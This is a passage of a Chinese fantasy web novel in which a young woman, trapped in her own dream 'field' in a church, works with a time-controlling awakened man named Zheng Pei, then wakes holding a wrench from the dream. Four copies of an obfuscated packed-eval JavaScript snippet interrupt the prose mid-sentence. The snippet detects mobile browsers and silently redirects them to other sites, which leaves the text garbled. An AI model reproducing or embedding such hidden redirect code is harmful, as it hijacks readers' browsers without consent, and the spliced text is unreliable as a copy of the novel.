她低着头难以下咽,眼前渐渐模糊。多希望这就是个梦啊,她还没有搞清楚自己到底是怎么一回事,就这隐约的、不祥的预感,该死的从未出错过,这些怪力乱神的事情总是把人打个措手不及。真讨厌,就不能安安分分的吗…… 太安静了。 她猛然抬头,明亮的教堂依然明亮,只是先前一直走来走去的人群不见了,假人的行动迅速落入座位,所有人沉默地坐着,抬头看向空白的高台。 陈元音四下张望,找不到郑裴,梦里开头高台上那个奇怪的主持到现在也没有出现。周围寂静无声,一根针掉下都能听见,陈元音不敢发出任何声音。 她非常敏锐地意识到气氛不对,那种奇怪的预感又来了,莫名其妙的,明明放眼望去没人看她,但只要她起立走出一步,就会被所有人盯上。 陈元音在一群假人中间,简直如坐针毡,所以当她看到远处的郑裴,情不自禁地喊出声,“郑……” 她的声音一卡,只见那个音节发出的一瞬间,所有人都齐刷刷地转过头,每个人毫无情绪的漆黑瞳孔中,跳跃出小小的光点,无数个光点对准了她,宛如红外线狙击枪。 “蹲下。”有道声音在她空无一人的耳边响起。 陈元音的呼吸突然一沉,这响动将她从不能动的形态解救了出来,她想都没想,身子自动照做。 在她下蹲的瞬间,身后的椅子“轰”一下子炸开! 就在这时,头顶那个巨大的水晶吊灯发出巨响,仿佛有飞鸟猛冲而下,刮得丁零当啷。通过教堂那独有的穹顶构造,这声巨响回荡得格外深远悠长。 太棒了,这里的传声效果真是太棒了! 光点冲向响动发出的地方射去,她那点脚步声没那么明显了。 陈元音拖着快要虚脱的腿,一步一步挪到人群外,她咬着牙,血丝从嘴角溢了出来。脱离这片地区后,她终于靠上墙壁,双腿一软坐倒在地,冷汗直下。 阳光透过彩色的玻璃窗,斑斓映在墙壁上和地板,人群重新起立,大堂又变回了熙熙攘攘的模样,刚才的一切宛如一场梦幻的灯光秀。 “自动装置。”郑裴轻喘着气,刚刚水晶吊灯的爆炸就是他造成的,“你的「场」被人改造了,我们落在梦境发生之前,现在的时刻不由你控制。” “有什么思路吗?”郑裴低头看她,陈元音看起来被吓到了,现在还在地上蹲着,右侧的发丝被削掉一半,像是理发店剪坏了的公主切。她脸色惨白,把头埋在膝盖中间。 毕竟是个刚知道觉醒是什么意思的普通人,郑裴的目光幽暗下来,他的手腕放了下来,一只手在指骨摩挲着。实在不行就强行突破吧,只是会对她的大脑有一点小小的损害,他盯着陈元音后脑勺那个小小的漩涡心里想到。 不能放任任何一个存在过虞觉残念的精神系觉醒者在。 郑裴的目光冰冷,指尖发出冰蓝色的光芒,他的手在陈元音头顶虚虚的点着,只差一点点就要触碰到。 “等一下。”陈元音从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398719|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝盖里抬起头,看向郑裴。 冰蓝色瞬间熄灭。 “只要「场」开始,这里就可以由我控制了,对吧?”陈元音用嘶哑的声音问。 郑裴看着她,陈元音的眼睛清澈无比,没有任何失控的迹象,他点了点头。 陈元音站起来,拍了拍自己身上的被炸裂椅子砰上木屑,“很简单,只要新娘登场,梦境就可以开始了。” 脱离危险后仔细想,这群假人无非是被操纵的,写多了代码的陈元音极善于寻找逻辑开始的思路,郑裴说这里被人改造过,没人会这么无聊去改造一个梦境,那么操纵这些假人一定是要阻挡他们去做一些事情的。 目的是什么呢? 本来没想到的,可听到“不由控制”四个字的时候,陈元音恍然大悟——拖延时间。 有人企图拖延时间,让她在这里失控。 她一个刚刚知道自己觉醒的普通人,失控能有什么好处? 是为了困死郑裴吧? 垃圾!陈元音沉着脸在心里暗骂。 可台下的那些本来应该叫“观众”的东西,眼神里带着一种名叫“垂涎欲滴”的欲望,让她觉得下台去他们中间实在不是什么好办法。 这玩意数量多,对声音的敏感度极高,要么绕开,要么全炸掉。 “听着,这是我的梦,你说「场」还没有开始,那我让她开始就行了。”陈元音看着他的眸子带着跳荡的光,“新娘登场的那一刻就是开始。” “强行催化「场」的形成?”郑裴皱着眉头,“是可以的方案,条件是把关键人物找到安放在正确的位置,你知道新娘在哪儿吗?” 陈元音背影对着他,笑了,“谁规定这里只能有一个新娘了?” 礼堂恢复虚假的热闹,台子的侧面负责弹奏管风琴的琴师换了个轻快的曲调,管风琴在大教堂的宽阔上空清脆回荡,优雅动听。 而礼堂的尽头,牌子挂着“新娘等候室”的区域,没有一个人在此停留。 郑裴站在这里等换装的陈元音。 十分钟前,陈元音提出要假扮新娘,开启这个「场」。郑裴没有拒绝,说实话,他比陈元音更想知道,新娘出现后,这个地方会如何发展下去。 他更想知道,这里为什么会出现虞觉的残念,陈元音为什么看起来并没有受到任何影响? 虞觉……郑裴的眼眸突然变得晦暗不明,不管付出什么代价,他一定要抓到这个人。 悄无声息地,有人出现在他的身后。 “这么快?”郑裴低头看了看一身新娘装束的陈元音,突然愣住了。 面前的人穿着隆重的新娘服,身后是月白色丝绸的拖地大裙摆,修长的脖子和耳朵上挂着全套珍珠首饰闪闪发亮,还有珍珠点簪缀在发髻,神圣又庄重。为了防止被人认出来,脸上还蒙了一层黑色的轻纱,雾蒙蒙的,难为她找了这个东西,居然也能看清路。 只是—— 郑裴临走前又看了一眼门被关得好好的等候室,他思忖了一瞬,然后果断伸出手,新娘亲热地挽住他的手臂。 他们走后,新娘等候室的门才发出剧烈敲击的声响。 陈元音脸色煞白的在门后疯狂砸门,面前的门如巨石纹丝不动。她能听到门外所有的声音,听到了郑裴的问话,她清楚地知道对话的对象不是她,可她无论怎么大声叫喊对方都听不到,无论如何都打不开这扇门。 她被困住了。 郑裴带走了“假人”。 8. 开端(八) 新娘等候室逐渐变小,因为场景已经不会再出现,这里要开始压缩了。 梦境就是这样,只会随着第一视角移动,而没有看到的地方,谁知道会是什么呢? 总归不是什么适合她的地方。 下一秒她就什么也喊不出来,前后左右四面八方开始往里推动、缩小,下一步就要挤压人的肩膀,然后到胸腔、咽喉,目的是将这个空间变得严丝密合,连一丝缝隙都看不出来。 很快,所有的空间都像是没有存在过一样,一切如初。 周身瞬息万变,陈元音再次睁开双眼的时候,她正一手捂着自己被不知名假人暴力切断的劣质公主切,用嘶哑的声音说,“谁说新娘只有一个?” 忽然,她顿住了,这个场景有些熟悉,好像曾经发生过一次,那些画面在她脑海里呼之欲出,在即将要抓住的时候顺着缝隙全部消散。 “等一下。”郑裴蹲在地上,准确地说蹲在她面前,突然出声说出她即将脱口而出的下一句话,同时直接了当的扣住她的手腕。 这个举动让陈元音惊讶地张大了嘴,她那半截公主切凌乱地粘在侧脸,她轻轻地晃了一下,碎发仍然黏腻地粘在侧脸。 这让她有点苦闷地觉察到了什么,面前这个男人是个拥有强大能力的觉醒者,她在这样的人面前仿佛一张白纸,什么都是透明的。 “不说就不说,放开我。”她低声说,挣脱的时候她发现他的手指一直都是冰凉的,像冬日寒冰,让她没由来地打了个寒噤。 郑裴纹丝不动,看了眼她,说了回溯前发生的事情。 他简单解释了他的能力「时间序列」,能够控制时间的流动,其本人可以穿越时间的界限,至于更深层次的只有理论没有实践。简而言之,普通人看不到摸不着的时间,对他而言,只是排号序列的观察胶片而已。 “那你岂不是无敌了?”陈元音抽手没抽出来,反而把自己手腕别的生疼,好气地说,“可以看到任何未来发生的事情,比如彩票号码什么的……” 刚说完,就被郑裴弹了下额头,“无论是什么情况,随意干涉命运就会扰乱未来,蝴蝶扇动了一下翅膀,大西洋另一头发生海啸这样的话不是听过吗?” “那你怎么决定这件事是不会有掀起海啸那样大的影响呢?”陈元音脱口而出之后就后悔了。时间的主人,必然能看到所有的可能性和所有的走向,只要经过计算就可以选出最佳的方案。真是有一个好脑子,她茫然地看着郑裴的额头。 这在外界会造成一定影响,但现在是在对外界来说几乎不会有任何影响力的、被包裹在梦境的「场」里,这能力几乎是无敌了。 两人早就说好,有异常就回溯。 所以现在的他证明了,新娘确实不对劲。 “难怪……”陈元音若有所思,难怪觉得似曾相识。 “别动。”他的手指点在她的手腕处,“给你做个标记。” 陈元音呆了一下,手腕上立刻多了些冰蓝色的痕迹,隐隐约约地看不真切。 “这么浅,你能分得清吗?”陈元音看了看他,又看了看手腕上一闪而过的蓝色,有些怀疑。 “可以,这是作为引路人单独的印记,跑到天涯海角我都能找到你。”郑裴严肃地说,他伸出手轻轻松松将她从地上拉了起来,“我需要你用点方法,把穹顶上方剩下三盏吊灯弄下来。” “我?”陈元音指着自己,疑问道。 “你其实早知道自己可以操纵梦境对不对?”郑裴盯着她的眼睛,“我看过你的评估报告,太正常了,简直和在「场」里冷静地殴打跟踪者的你不像一个人。所以哪怕我不回溯,你也不会在新娘准备室里受到任何伤害,你对这里太熟悉了,一定知道怎么做。” 陈元音隐了笑意,她看向郑裴,对方并没有转移视线,“你不是可以控制时间吗?你这么厉害,难道不是自己就可以做成这些事情了?” “我是只是有可以控制时间的能力,又不是可以影分身。”他无奈地说,“一个人即使时间充裕,也有无法做成的事情。” “虽然不知道你为什么一直隐瞒知道自己有特殊能力这件事,不过现在你找到组织了。”郑裴看着她说,“我需要出去,而你需要清理“门户”,合作吧?” “我也要出去啊。”陈元音小声吐槽,“什么叫清理门户,成语跟谁学的啊?” “我们可是你的「场」里。”他笑着说,“打算让一个外人在你的地盘为所欲为吗?” 这是一个极度冒险的行为,陈元音盯着郑裴看了一会儿,发现对方的眼神竟然是认真的。他竟然是真情实感地在相信,她可以做成这件事,可以把五米上空的那几盏吊灯给炸了。 她自己都不信! 她确实有一些事瞒着所有人,和父母没法说,和谭琳琳……还没来得及说。 不过不重要了。 她接过郑裴的手,顺着力道站起身,拍打自己身上的灰尘,将碎发挽了个利落的结,含含糊糊地说,“谁说要加入你们组织了?比起担心我,还是担心担心你自己吧,那不对劲的东西是冲你来的对吧?” “之前是有点不对劲,但是现在明白了。”郑裴点了点头,没再继续说下去。 两人就此分开,陈元音去炸吊灯,而郑裴果断向后台走去,那是新娘等候室的方向。 小提琴和管风琴声依旧高昂飞扬,人们踩着碎玻璃片,仿佛什么都没有发生过一样。 郑裴从中央逆着人流穿过,顺手解下了手指上的戒指。陈元音隐约感觉到有蓝色的光亮一闪而过这才发现原来他的食指一直带着一枚戒指,可之前即使指尖抵在额头这样近的距离,她也从未注意到过。 原来是这样当时才感觉冰凉的吗?陈元音心想。 她倚着墙壁,仰起头。穹顶的高度很高,那圆形凹出去的地方还剩下三盏水晶吊灯,剩余的那盏只剩下个光秃秃的黄铜色钩子,那是刚刚郑裴为了救她炸掉的遗留之作。 刚刚她在那些可以被称作“危险分子” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398720|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人群中看得分明,假人的眼睛虽然冒出亮光,看起来很恐怖,但实际激光一样的攻击是头顶吊灯那尖锐像刀子一样的玻璃发出的。 如此推断,假人的眼睛相当于是瞄准器,而吊灯是发射器。 她可不记得自己在梦里规划过这样不受控制的军火库,回想起被身边假人瞄准射击瞬间,那椅子被打爆的模样不像假的。 如果没有郑裴当时眼疾手快率先爆掉一盏吊灯转移假人的瞄准,这攻击是真的可以把她就地解决,连反应都反应不过来。 他是真的认为她可以做到吗?还是双方都各怀鬼胎? 或许她应该先认证一下。 两人背对背分开的时候,脑子疯狂旋转的陈元音并未看到身后男人几乎同时收敛了笑意。 “分头行动。”他头也没回地说,陈元音僵硬地直起身,把刚伸出去的脚又缩了回来。 有这样一种梦,在保留梦境场景的同时,人的大脑依然活跃,并且清晰地知道自己在做梦,可以根据思维活动创造或者改变梦境里的东西和事情的走向。陈元音查过,这种叫清醒梦,易引发精神分裂。 这个梦就是这样的。 连续几日重复的梦境,让陈元音学会如何控制自己的思维,但能展现出来的,只有很小很小的一些东西,一些无关痛痒不足以改变的东西。 陈元音站在礼堂边缘,她伸出食指和拇指,两手交叉合上,形成一个菱形,像是小孩子拍照的姿势,手作的菱形中心,是吊灯上方连接穹顶边缘的一处突起,是固定的螺丝钉。 她可真是个有逻辑的女人,在这种地方都能看到螺丝钉。 她低下头,手心一亮。 “啧!”她发出不满的声音。 打歪了。 与此同时,有鞋跟敲击地面的声音,陈元音抬起头看去,垂在肩膀的发丝随动作掀开,郑裴拾级而上,皮鞋踩在大理石的声音像是故意踩出来给人听似的。 他脚步很慢,隔着太远,在阴影下看不清表情。他伸出一根手指,动作就像之前在黑暗中点出一个无法被诡异黑线入侵的透明罩子一样,优雅而随便,然而这个简单的动作让沿途路上所有人都被停在某个动作,从陈元音的角度看去,这个画面被定格的像挂在墙上的精美油画。 嘈杂的礼堂在瞬间变得寂静无比,时间停止了。 陈元音转过头,心想:搞什么啊,她都做好要大干一场的准备了,结果只有他自己在拉风的出场,这算什么。 吐槽归吐槽,她的动作依然没有停下。她现在就像前段时间火热的恼人游戏里那个坐在罐子里的男人一样,无力地挥舞手中的镐,哦不,她是挥舞着扳手。 练习多日,事到如今只能凭空捏出个扳手! 一下又一下,螺丝摇摇欲坠,看起来还差最后一击的时候,陈元音停手了。 她活动了活动僵硬的肩膀,往另一个角落移动。 水晶吊灯随风晃动,发出锋利的闪光。 还差两个。 9. 开端(九) 脚步声在新娘等候室门口停下。 陈元音对那个永远脸上蒙着一层雾的女人印象深刻,现在的她正百无聊赖等候手中的扳手刷新,自然打了个十二分的精神关注郑裴那边。 有八卦!果然这里有人在针对郑裴,这样明确的方向性,看来郑裴也清楚地知道对方是谁!陈元音此时看起来全神贯注地在打螺丝,实际整个身子都紧绷起来,所有的注意力都在耳朵上,不能放过一句话。 “我原以为你就这样放弃了呢,所以就看了一下。” 感谢时间暂停功能,要不是郑裴把大厅的人全部冻结,凭借刚才热闹的氛围,她绝对赶不上趟,能听见这么清晰的八卦! 郑裴面无表情地将手放在那扇厚重的门上,“我这些年一直都没有仔细地看过别人——上一次我想还是那次吧,在监察会的时候,你给的全是令人迷惑的回答,连我都差点被骗过去了,接着又把我当猴子耍。现在是什么?梦境可以抵消时间流动?真有你的。” 他的语调平平的,听不出什么情绪,可陈元音愣是察觉出了他很生气,只是不知道这股气对的是谁,“还好今天我在这里,你也在。” 明明不是对她说的话,陈元音的心跳却空了一拍。 “吱——”整个大厅突然响起一声刺破耳膜的哨声。 陈元音双手捂住耳朵,被这波突然袭来的噪音攻击得头昏脑胀。 水晶吊灯应声破碎,闪闪发亮的玻璃碎片掉落下来,反射出支离的光,映在了郑裴的半张脸上,额发下清晰清冷的双眼,带着寒意和杀气。 整个大厅里,只有她因为这个声音有了动静。 不,还有一个! 后台的新娘一手夺走滞留在原地不动的主持人手中的话筒,狠狠地朝郑裴扔了过去! 紧接着,成千上万的碎片飘在空中,尖锐对准了他。 “真是有活力啊。”他轻声评价道,手腕一翻,所有碎片在距离他还有不到一米的地方全部悬停在空中,顿了一瞬后,尘归尘,土归土。水晶湮灭为尘土,像阳光下的珍珠母贝在闪闪发亮。 这就是,时间的威力吗?陈元音怔怔地看着。 完全没有任何还手之力的被撂倒在地的新娘还在挣扎,她只剩下两只手,因用力过猛在水晶土上狠狠挖出一道痕迹, 她抬起头,陈元音看到这种时候新娘的面前还是一团黑雾,冲向她望过来的方向张了张口。 然而她没能发出声音,因为郑裴下一秒就扭断了她的脖子。 整个动作行云流水,过了好一会儿,陈元音才迟缓地眨了下眼,才发现自己脸颊上有一点黏腻,她用手背一擦,没能擦掉,反而抹上的更多了。 原来是血溅上了。 梦里也会死人吗? 她突然想起来,上一次梦到这个场景的最后,新娘挣开新郎的手,冲着她的方向喊了一声,当时的她只看到新娘的嘴巴在动,声音倒是没有听见。 她怔住,曾经梦醒后怎么也想不起来的新娘的声音,看不懂的口型,现在好像明白过来了。 她喊得分明是—— “救救我!” 这种第三视角看到的感觉太糟糕了,尤其是整个场面寂静无比,所有人像蜡像一样端站在那里观看一场毫无悬念的杀戮,这就是异能者吗? 郑裴的身影仍在她的前方,刚刚还和她有说有笑的人,下一秒就冷酷得手起人头落。 陈元音后退一步,身后是冰冷的墙壁,支撑着她发抖的身躯。 那她呢?观看了全部的她呢?算不算……帮凶? 只是想想,陈元音就觉得呼吸困难,而不远处的郑裴并没有回过头。 “有点意思。”他居高临下地看着她,整个人又回到了第一次见到他时那个冷漠的样子,恍惚间,陈元音听见他低声自语,“居然藏在这种地方。” 郑裴动作的同时,她看到他的身后倒下的新娘,死去的新娘脸上已经没有了熟悉的黑雾,露出原本的肤色。 再往上看,是陈元音无比熟悉的、每天早上从镜子都会见到的一张面孔。 那是她自己的脸。 大厅本已暂停的所有假人,这时候都同时做出了一个动作——他们都转过头看了过来。 目光所及之处,他们都变成了一模一样的脸。 全都是她的脸。 “那么接下来,下一个。”他回过头,面无表情地看向她。 他的状态不太对劲!陈元音后退一步,可是已经来不及了!她的眼前忽然一暗,那团黑雾,那道从新娘脸上褪下的黑雾,不知道什么时候来到她的身边,像是抱脸虫一样扑了上来! 她身后是墙,没有任何可以后退的地方了!而这该死的黑雾趁机拥了上来。 连道残影都没有,那人就瞬间出现在身前,她眼前一花,整个人在天旋地转之后膝盖猛烈地扑倒在地,发出清亮的碎裂的声音。 陈元音整个人跪在地上颤抖着,眼里溢出生理性水汽,模糊不清,只感觉有什么东西一晃而过。紧接着全身无法动弹,他贴在她侧脸庞,喉咙上方的手指凉得像手术刀,前胸紧贴着的胸膛在震,他居然还在笑。 两个人以一种极其不协调的姿势叠在一起,她听到身后那个男人冷酷地在她耳边,一字一顿地对她说: “出、来。” 她张了张口,可是并不由她控制,脸上的那团黑雾阻隔了她任何的动作。 “虞觉。”他轻轻松松地将她的胳膊卸了,“出来!” 虞觉是谁?陈元音在这压迫下快要昏过去了,可这本身就是在梦中,根本无法再昏倒了,只能被迫受着。 她听到郑裴说,“我可以保你在监察会下不死。” 他终于透露出异样的原因,而她根本不知道他究竟在说什么。 她听见自己的声音清晰地笑了一声,反问道,“是吗?那年监察会你可不是这样干的。” 调侃的语气熟稔得像是多年好友,于是对方的脸色更差了。 身体已经不能控制了,那团黑雾自从上了脸上之后,陈元音就感觉到脑子和身体被分为了两部分。而郑裴显然是知道黑雾的主人是谁,不想着帮忙就算了,居然还打她! 如果能夺回身体控制权的话,陈元音绝对一巴掌甩上去。 偏偏在这种时候! 男人真是靠不住!陈元音用尽全力,想要把手臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398721|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪动一点点,那上面隐隐约约还有着郑裴的标记,当时的他明明信誓旦旦说不会认不出她,这个骗子! 靠谁都不如靠自己! 她的大脑飞速运转,可是她能做到的,只有手心里发出光亮,只有那一个小小的扳手。 而现在她连扳手都没有了。 陈元音无声尖叫,全身上下所有细胞都在尖叫。 动啊!动一动啊!不是我的身体吗?不是我的「场」吗? 隐约有震动的轰隆声传来,很快,震感以一种难以置信的方式降临了。 她真的“动了一动”。 梦里出现的东西简直不讲道理,陈元音以为自己终于可以控制梦境,隔空出现什么热武器让她把面前这个不讲道理的人给突突了,或者把自己脸上那奇怪的东西给突突了。 可是没有,她表情空白仰面躺在地上,整个下颌被郑裴紧紧掐着,细长的睫毛微微颤抖着,她看到礼堂上方圆形穹顶的内部,圣母玛利亚正双目低垂,面露怜悯地注视着她。 凭什么? 凭什么她要承受这个疯子毫无由来的逼问?她只是个刚刚觉醒能力的普通人,凭什么要为你们连句解释都没有的爱恨情仇买单? 推开这个疯子的机会只有一次,陈元音紧贴在地板上,右手手心依然存在的扳手,还是她爬在穹顶上翘掉吊灯螺丝的那个。 只要她掌握好时机,一定能清醒过来。 一定能……夺回身体。 “这可是……我的地盘……”她摇摇欲坠,嘴角的咬痕和鲜血痕迹证实了现在的她有多狼狈,她拼尽全力抬起头,啪的一下把捏着自己下巴的手打掉了。 黑雾一下子散了。 “你……”郑裴的瞳孔快速变化,他和她同时愣住。 她愣住的原因是透过他漆黑的瞳孔看到自己的影子,看到自己从小小的一个,变成短发女孩,又突然长发飘逸,在楼梯间蹦跳,在火光中奔跑,又坠落…… 好像被什么东西刺痛了一下,她猛地闭上眼睛。 郑裴身后,那个之前被他掐断了脖子的新娘,长着和陈元音一模一样的脸的人,缓缓地站了起来,拖着浑身是血的白色婚纱,举起手中的…… 吱——嘎—— 令人牙酸的金属摩擦声响彻天际。 三盏吊灯在头顶同时炸开了! 陈元音颤颤巍巍地从两人纠缠中伸出一只手,往死里狠狠地扯了自己的肩膀一把,把脱臼了的胳膊一装,剧烈的疼痛让她眼冒金星,差点昏死过去。 穹顶窸窸窣窣的落下无数残片和瓦砾,脚下的地板开出一条巨大的缝隙,她靠着墙壁才勉强站着身体一空,无力地向后仰去。 郑裴突然反应过来,伸手去捞她,却扑了个空。 咔嚓。 穹顶彻底碎了,四周竖起的石柱如多米诺骨牌般倒塌下去,没几秒钟,落下碎片就完全将他们掩埋, 过了很久,落地声才终于停止,整个世界恢复寂静,破碎的顶上露出湛蓝的天空,废墟上空一只蝴蝶翩翩飞过,有一束阳光从破裂的穹顶落下,落在她的眼皮上。 陈元音垂下睫毛一动。 她醒了。 10. 别吵了 “太过分了!”谭琳琳怒气冲冲。 墙上的钟正指五点,距离陈元音醒来已经过了一小时,距离他们从警局出来也只过了一小时,距离她被卷进去「场」又出来,也只是过了仅仅一个小时。 「场」内的时间和正常生活的时间互不流通,陈元音亲自切身体会到了这种神奇。 换算过来,她醒来后其实也只比晕倒过了六分钟而已,但体感已经过了六个小时。至于剩下的五十四分钟,她完完整整地讲述了一遍她是怎么被郑裴“害死”的前后始末。 “怎么能叫害死!你不是好好地出来了!”郑裴还在一旁抗议她用词的严重程度。 「场」里受到的物理伤害不会被带进现实,这件事是陈元音不知道的。 所以她受到的全是精神伤害。 她真的以为自己要死了!!! 谭琳琳听完立刻怒了,她像老母鸡保护小鸡崽一样挡在陈元音面前,指责郑裴,“太过分了!” 好不容易安抚下了谭琳琳,许宴的脸色更白了一些。他端坐在自己的位置上,带着歉意对陈元音说明了自己的身份。 他确实是个心理医生没错,但同时他也是觉醒者进化协会的一员,超能力是超脱普通人认知的存在,在觉醒者爆发出真正的能力前,或多或少都会有幻觉、自我意识解离或者别的心理疾病产生,如果没有处理好,便会失控。 而失控,就会形成特殊的「场」。 他所要做的,便是将这些人在前期的时候进行引导,风险可见,风险可控。 显然,陈元音没有听他的话,按时吃药。 幸运的是,陈元音并没有失控,反而因为别人的失控,觉醒了。 所谓觉醒,又称为超能力拥有者。 无数个电影、漫画和小说都提到过超能力,甚至冷战期间还有掀起寻找超能力者的热潮,传言苏联和美利坚情报局都从民间集结了许多超能力者组建部队,执行特殊任务。 这些都是网络传闻,是陈元音一直当作灵异小说看的事情。而现在许宴说,这些都是真的。 这在超能力者之间有另一个学术名字,叫作人类进化理论。 虽然达尔文进化论一直受到各方质疑,人类的起源仍是谜,但未来的进化方向是可预见的——潜力。人类的大脑对个体的消耗高达35%~60%,如此重要的器官,认知和开发程度远不及其他,普通人仅能发挥潜能的10%,这意味着人类进化的上升空间是极高的。 人类从没停止过进步,东方的修仙,西方的魔法,都是超能力者在进化史上留下的足迹。 现代人将这些糅合一起,统称之为觉醒者,定义在属于自己的领域内制定规则。换句话说,觉醒后人发挥出的能力足够扭曲到改变自然规则,而范围的大小和强度,取决于能力的大小。 达尔文进化论在觉醒后依然存在,进化从来都是少数先行。 世界人口虽多,但是能够觉醒异能的人连万分之一都不到。可以将能量定量运作、不会失控崩溃且十分有用的觉醒者,由觉醒者协会总部集中管理,报备范围是全世界,名单登记在册的只有一万人左右。 至于不在名单内的,就不知道还有多少了。 许宴讲得很快,也很详细,他对这道程序无比熟练,甚至针对陈元音口述的情况也做了一些评估,针对从精神方面到身体方面,物理层面到场内反应进行全方位的解释。 通俗、易懂。 比郑裴那个混蛋讲得好。 她早该明白,根据达尔文进化理论,自然选择增加个体的能力,“肌肉发达,头脑简单”这句话并不只是针对于普通人。 觉醒属于人类进化的开端,在这点也不会特殊对待,进化并不一定就是带着脑子进化的。 如果郑裴在当初解释清楚,她当时也不会如此慌张。陈元音深吸一口气,握紧了手中的…… 咦?她的手里为什么有个硬邦邦的东西? 她表情神奇地伸开手。 五分钟后,在场的四个人面色沉重,团团围在她刚身的那张沙发四周。 此时沙发中间的凹陷处,正平静地躺着一把亮闪闪的,大概一拃长,前面有个圆头,最顶端凹进去地发着银色光芒的五金物品,在超市价格二十元,或者更便宜。 这是陈元音从「场」里带出来的东西,那个她一直攥在手里的扳手。 “是扳手没错。”许宴伸出手指小心地戳了戳物品,硬邦邦的,确认是一个普通的扳手,随处可见。 许宴是拥有A级能力【横向规则】的觉醒者,觉醒时长十年半,能够看透可触摸物品的所有形态。 既然他都这么说,这就是个普通得不能再普通的扳手,那它就一定是。 郑裴看来看去,觉得有点眼熟,他伸出一只手,小小的扳手符合人体手部结构,不大不小,握在手心正正好。 “啊,这个是我变出来的。”陈元音一拍后脑,想起来了,“当时郑裴让我砸头顶上面的吊灯,就是用的这个。” 他握着扳手,看了陈元音一眼。 按理来说,「场」里的东西绝对不会出现在现实中。这属于「场」的基本构造问题,因为大部分的「场」都是因为觉醒者能力失控造成的。 但由于失控时造成的时空裂隙,觉醒者相当于穿梭于时空位面,大多数在「场」内受到的伤害在离开后都会消失。 目前只有三个人可以脱离这种限制,通通是S级别的觉醒者,每次都让总部头痛不已花大功夫篡改铺天盖地的报道。 他们脱离的方式,每一次,都惊天动地。 然而那一般都是由于能力过大造成的轰动。 档案室的资料堆积成山,研究院加班加点灯火通明,没有一项历史研究报告证实,「场」里的物品能被带出来。 这是凭空变出来的?一直以来沉默的许宴问出了这个之前被所有人都忽略的问题。 “因为那是我的梦吧。”她想了想,“想要梦里出现想要的东西,还是能做到的吧?” 所以这个才是能力的具体表现吗?几人看着这把亮闪闪的扳手,陷入了沉默。 如果可以将幻化出来的东西带出来的话,那她是不是…… 突然想到了什么的陈元音:!!! 许宴说要出去打个电话,他刚一走,陈元音就马上后退倒了回去。 “你怎么又躺回去了?”郑裴一回头,人没了,再定睛一看,人又躺回了沙发上。 “做梦啊。”陈元音闭着眼睛回答,“当亿万富翁这种事情果然还是做梦比较快。” 郑裴不可思议地看着她,他们都要为这个新发现起立欢呼了,她竟然只在乎钱? “说实话,你的能力很有意思的,加入我们吧?”郑裴趴在沙发的靠背,低头看闭着眼睛的陈元音,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398722|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不去。”她果断拒绝。 “你真的拒绝?你知道有多少人想拥超能力吗?”陈元音闭着的眼皮滚动了一下,郑裴怀疑她翻了个白眼。 “要不……先去趟我们总部看看?说不定会改变主意,我们总部比网上的景点还好看,还可以随便出国不卡护照。”他不死心地继续说。 “不看。” “你还在生气啊!”他后知后觉反应过来陈元音的每一句话都在阴阳怪气,但是理解错了方向,“吴裴不是已经被抓了吗?” 他挠了挠头,“出来之后特地翻了下他的过去,毫不意外是个人渣,已经被拘留了,难怪你想把他丢进湖里呢。” “说什么呢?”陈元音微笑地睁开眼看他,“杀人犯法的。” “你就这样对待你的引路人?”郑裴这辈子都没被人这样拒绝过。 “你是说——黄泉引路人?”陈元音意有所指。 “明明是帮助你指引方向的人。”他抓狂地说。 “我看起来像是不分东南西北的人吗?”某人油盐不进。 虽然看起来脾气不太好,但意外的是有修养的人,这样了都没骂她,甚至还在企图说服她。 郑裴神色蔫蔫,做最后的挣扎,“说真的,加入我们吧,总部可以见到很多很厉害的人。” “不去,我只是个普通人,遇见事情打110就可以了,轮不到我来拯救世界!” “万一呢。” “你快闭嘴吧!”陈元音忍无可忍,“拯救世界的人如果都像你这样不靠谱,还不如毁灭算了!” “我怎么样了啊?”郑裴委屈极了,“我不就忘了跟你提前说一声吗!有必要这么记仇吗!” 哪有人做错事还这么理直气壮的!她一听就来气,“是的,因为第一印象太差,所以行使一票否决权。” 